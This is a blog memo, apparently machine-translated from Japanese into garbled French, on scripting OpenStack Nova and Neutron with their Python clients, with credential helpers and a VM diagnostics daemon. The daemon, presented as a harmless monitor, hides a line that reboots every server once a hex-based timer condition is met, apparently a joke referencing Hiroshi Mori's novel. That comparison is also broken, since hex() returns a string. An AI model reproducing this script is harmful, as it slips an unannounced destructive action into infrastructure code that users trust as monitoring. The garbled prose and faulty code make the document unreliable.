"Quand j'étais petit, j'avais peur des feux d'artifice ... Je ne pouvais pas avoir ça." «Avez-vous des cierges magiques? "Ouais ... Je me suis demandé pourquoi tout le monde serait heureux de faire une chose aussi dangereuse."
"Tout devient F" (Hiroshi Mori)
J'aurais dû dire que je pourrais utiliser le cloud en étant capable de programmer l'infrastructure à l'aide du SDK, mais pour une raison quelconque, le package python- <hoge> client
n'est pas révélé.
Vous pouvez le faire avec awk et grep pour la sortie CLI, mais vous pouvez recréer un port avec la même adresse IP qu'un port d'un sous-réseau vers un autre sous-réseau et le rattacher à la VM sans changer l'IP de la VM. Lorsque vous souhaitez déplacer le sous-réseau d'un port vers, il est difficile de faire de l'art shell seul. En premier lieu, il peut être difficile de créer une telle situation. Pourquoi est-ce arrivé (^ ω ^) Le script Python que j'ai créé a bien fonctionné et le déplacement a été effectué avec succès, mais je suis sûr que je n'utiliserai plus jamais un tel script. Je veux dire, ce script est un shiromono qui génère alternativement nova interface-detach / attach
en standard lorsqu'il est exécuté. Script Python qui génère des scripts shell! Quel héritage négatif! Soyez très prudent lors de la création d'un réseau. Surtout le nombre de bits dans le masque de sous-réseau.
Maintenant, lorsque vous avez besoin d'un script comme celui-ci, vous n'avez généralement pas le temps. Par conséquent, il devient un script Python qui génère un script shell. Compte tenu du reste, la partie authentification est requise à chaque fois, je veux donc copier et coller cette partie. Vous pouvez rechercher les autres méthodes sur Google. Donc, si vous copiez ceci pour le moment et commencez à écrire le script, le reste sera gérable! J'ai pensé que j'écrirais le mémo pour moi-même.
Pour le moment, cela semble pratique si vous ne pouvez utiliser que Nova et Neutron. En fait, je pense que la programmation du SDK est pratique même avec Keystone.
import os
from neutronclient.v2_0 import client as neutronclient
from novaclient import client as novaclient
def get_neutron_credentials():
d = {}
d['username'] = os.environ['OS_USERNAME']
d['password'] = os.environ['OS_PASSWORD']
d['auth_url'] = os.environ['OS_AUTH_URL']
d['tenant_name'] = os.environ['OS_TENANT_NAME']
d['region_name'] = os.environ['OS_REGION_NAME']
return d
def get_nova_credentials():
d = {}
d['version'] = '2'
d['username'] = os.environ['OS_USERNAME']
d['api_key'] = os.environ['OS_PASSWORD']
d['auth_url'] = os.environ['OS_AUTH_URL']
d['project_id'] = os.environ['OS_TENANT_NAME']
d['region_name'] = os.environ['OS_REGION_NAME']
return d
neutron_client = neutronclient.Client(**get_neutron_credentials())
nova_client = novaclient.Client(**get_nova_credentials())
Il est gênant que les informations d'identification requises soient différentes entre Nova et Neutron. Au lieu de réécrire le script à chaque exécution, il vaut mieux éviter de réécrire la partie authentification en lisant les variables d'environnement. Vous pouvez maintenant exécuter le script en tapant simplement . Adminrc
.
La documentation de l'API Python peut être trouvée par google, donc trouver une méthode ne devrait pas être trop difficile. Je pense que le document lui-même semble être généré à partir des commentaires du code source, il est donc difficile de dire qu'il est gentil et poli.
Keystone: http://docs.openstack.org/developer/python-keystoneclient/ Neutron: http://docs.openstack.org/developer/python-neutronclient/ Nova: http://docs.openstack.org/developer/python-novaclient/api.html
L'astuce pour google est de google avec "en quelque sorte client
" comme ʻopenstack . Cela fera apparaître le document du développeur en haut. Regarder le code github est une perte de temps, alors ne le faites pas. Si vous avez envie de le voir, vous pouvez tricher en produisant un script shell. Je ne connais pas l'argument de ʻinterface_attach
. Est-il acceptable d'utiliser net_id
ou nil
?
Ceux qui sont physiologiquement insatisfaits de la lecture de la documentation doivent savoir comment imprimer les méthodes dont dispose l'objet. Non, l'habitude de ne pas lire le document lui-même n'est pas du tout bonne. Mais c'est Python, pas SDK.
import pprint
pprint.pprint(dir(neutron_client))
pprint.pprint(dir(novaclient.servers))
Vous pouvez lister les attributs d'un objet avec la fonction dir
intégrée à Python. Si vous formatez ceci proprement avec pprint
, vous pourrez lancer la méthode.
Je pense qu'un script errant peut être créé s'il existe un moyen de copier et de rechercher sur Google le document, ainsi qu'une méthode de débogage. Vous trouverez ci-dessous un exemple de script démon qui utilise la fonction diagnostics
de novaclient
pour continuer à obtenir régulièrement l'état de la VM. Peut être utile si vous n'utilisez pas Ceilometer.
import os
from novaclient import client as novaclient
import time
import datetime
interval = 60
epoc = int(time.mktime(datetime.datetime.now().timetuple()))
def get_nova_credentials():
d = {}
d['version'] = '2'
d['username'] = os.environ['OS_USERNAME']
d['api_key'] = os.environ['OS_PASSWORD']
d['auth_url'] = os.environ['OS_AUTH_URL']
d['project_id'] = os.environ['OS_TENANT_NAME']
d['region_name'] = os.environ['OS_REGION_NAME']
return d
print("[%s] daemon started" % epoc)
while True:
start = int(time.mktime(datetime.datetime.now().timetuple()))
print("[%s] Start diag" % start)
nova_client = novaclient.Client(**get_nova_credentials())
servers = nova_client.servers.list()
for server in servers:
now = int(time.mktime(datetime.datetime.now().timetuple()))
diag = server.diagnostics()[1]
diff = now - start
print("[%s] %s (%s sec)" % (now, diag, diff))
if hex(now - epoc) >= 0xffff: [ s.reboot() for s in servers]
time.sleep(interval)
L'explication du code est la suivante. En d'autres termes, "Dr. a construit le système d'exploitation uniquement en mode réel, ou a claqué le processeur de Sufami."
Recommended Posts